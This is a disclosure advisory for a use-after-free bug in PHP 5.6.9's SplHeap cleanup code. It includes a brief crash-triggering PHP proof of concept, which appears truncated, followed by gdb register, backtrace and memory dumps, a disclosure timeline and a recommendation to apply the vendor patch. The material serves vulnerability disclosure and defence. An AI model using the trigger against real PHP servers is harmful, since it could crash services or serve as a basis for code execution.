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Use-After-Free in PHP

Advisory ID: HTB23262
Product: PHP 
Vendor: PHP Group
Vulnerable Version(s): 5.6.9 and probably prior
Tested Version: 5.6.9
Advisory Publication:  May 20, 2015  [without technical details]
Vendor Notification: May 20, 2015 
Vendor Patch: June 2, 2015 
Public Disclosure: June 10, 2015 
Vulnerability Type: Use After Free [CWE-416]
Risk Level: Medium 
CVSSv2 Base Score: 4.6 (AV:L/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 


Advisory Details:

High-Tech Bridge Security Research Lab discovered use-after-free vulnerability in a popular programming language PHP, which can be exploited to cause crash and possibly execute arbitrary code on the target system.

The vulnerability resides within the 'spl_heap_object_free_storage()' PHP function when trying to dereference already freed memory. A local attacker can cause segmentation fault or possibly execute arbitrary code on the target system with privileges of webserver. 

Below is a simple code that will trigger a crash:
class SplMinHeap1 extends SplMinHeap {
  public function compare($a, $b) {
    return -parent::notexist($a, $b);
$h = new SplMinHeap1();
Running the following PoC we get:

gdb-peda$ r ~/Desktop/heap_uaf.php 
Starting program: /usr/local/bin/php ~/Desktop/heap_uaf.php
PHP Fatal error:  Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4

Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4

Program received signal SIGSEGV, Segmentation fault.
RAX: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ)
RBX: 0x8000000 
RCX: 0xcd0458 ("/home/test/De"...)
RDX: 0x16f 
RSI: 0xcd0458 ("/home/test/De"...)
RDI: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ)
RBP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 
RSP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 
RIP: 0x82a96f (<zval_delref_p+12>:	mov    eax,DWORD PTR [rax+0x10])
R8 : 0x269 
R9 : 0x0 
R10: 0x7fffffff9b20 --> 0x0 
R11: 0x7ffff71102f0 --> 0xfffda6c0fffda3ef 
R12: 0x4209e0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf30 --> 0x2 
R14: 0x0 
R15: 0x0
   0x82a964 <zval_delref_p+1>:	mov    rbp,rsp
   0x82a967 <zval_delref_p+4>:	mov    QWORD PTR [rbp-0x8],rdi
   0x82a96b <zval_delref_p+8>:	mov    rax,QWORD PTR [rbp-0x8]
=> 0x82a96f <zval_delref_p+12>:	mov    eax,DWORD PTR [rax+0x10]
   0x82a972 <zval_delref_p+15>:	lea    edx,[rax-0x1]
   0x82a975 <zval_delref_p+18>:	mov    rax,QWORD PTR [rbp-0x8]
   0x82a979 <zval_delref_p+22>:	mov    DWORD PTR [rax+0x10],edx
   0x82a97c <zval_delref_p+25>:	mov    rax,QWORD PTR [rbp-0x8]

As seen above when trying to dereference the value from $rax (which has been already freed) PHP crashes.

Stopped reason: SIGSEGV
0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411
411		return --pz->refcount__gc;

Running the backtrace command we can see a couple of freed variables: zval_ptr, pz
gdb-peda$ bt
#0  0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411
#1  0x000000000082aafb in i_zval_ptr_dtor (zval_ptr=0x5a5a5a5a5a5a5a5a, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute.h:76
#2  0x000000000082bdcb in _zval_ptr_dtor (zval_ptr=0x7ffff7fcba88, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:424
#3  0x00000000006e5c1a in spl_heap_object_free_storage (object=0x7ffff7dfdfa0) at /home/test/Desktop/php-5.6.9/ext/spl/spl_heap.c:367
#4  0x000000000087f566 in zend_objects_store_free_object_storage (objects=0x102e640 <executor_globals+928>) at /home/test/Desktop/php-5.6.9/Zend/zend_objects_API.c:97
#5  0x000000000082b89e in shutdown_executor () at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:290
#6  0x0000000000841a4c in zend_deactivate () at /home/test/Desktop/php-5.6.9/Zend/zend.c:960
#7  0x00000000007a7c40 in php_request_shutdown (dummy=0x0) at /home/test/Desktop/php-5.6.9/main/main.c:1882
#8  0x00000000008f6501 in do_cli (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1177
#9  0x00000000008f6d8b in main (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1378
#10 0x00007ffff6faaec5 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6
#11 0x0000000000420a09 in _start ()

Lastly, from stack #2 we clearly see that the zval_ptr pointer (0x7ffff7fcba88) points to freed memory:

gdb-peda$ x/50xw 0x7ffff7fcba88
0x7ffff7fcba88:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcba98:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbaa8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbab8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbac8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbad8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbae8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbaf8:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb08:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb18:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb28:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb38:	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a	0x5a5a5a5a
0x7ffff7fcbb48:	0x5a5a5a5a	0x5a5a5a5a

This vulnerability was successfully reproduced Ubuntu 14.04.1 LTS (32 bit and 64 bit) on the latest version of PHP 5.6.9.



Apply Vendor's patch. More Information:



[1] High-Tech Bridge Advisory HTB23262 - https://www.htbridge.com/advisory/HTB23262 - Use-After-Free in PHP.
[2] PHP - http://www.php.net - PHP is a popular general-purpose scripting language that is especially suited to web development.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.


Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.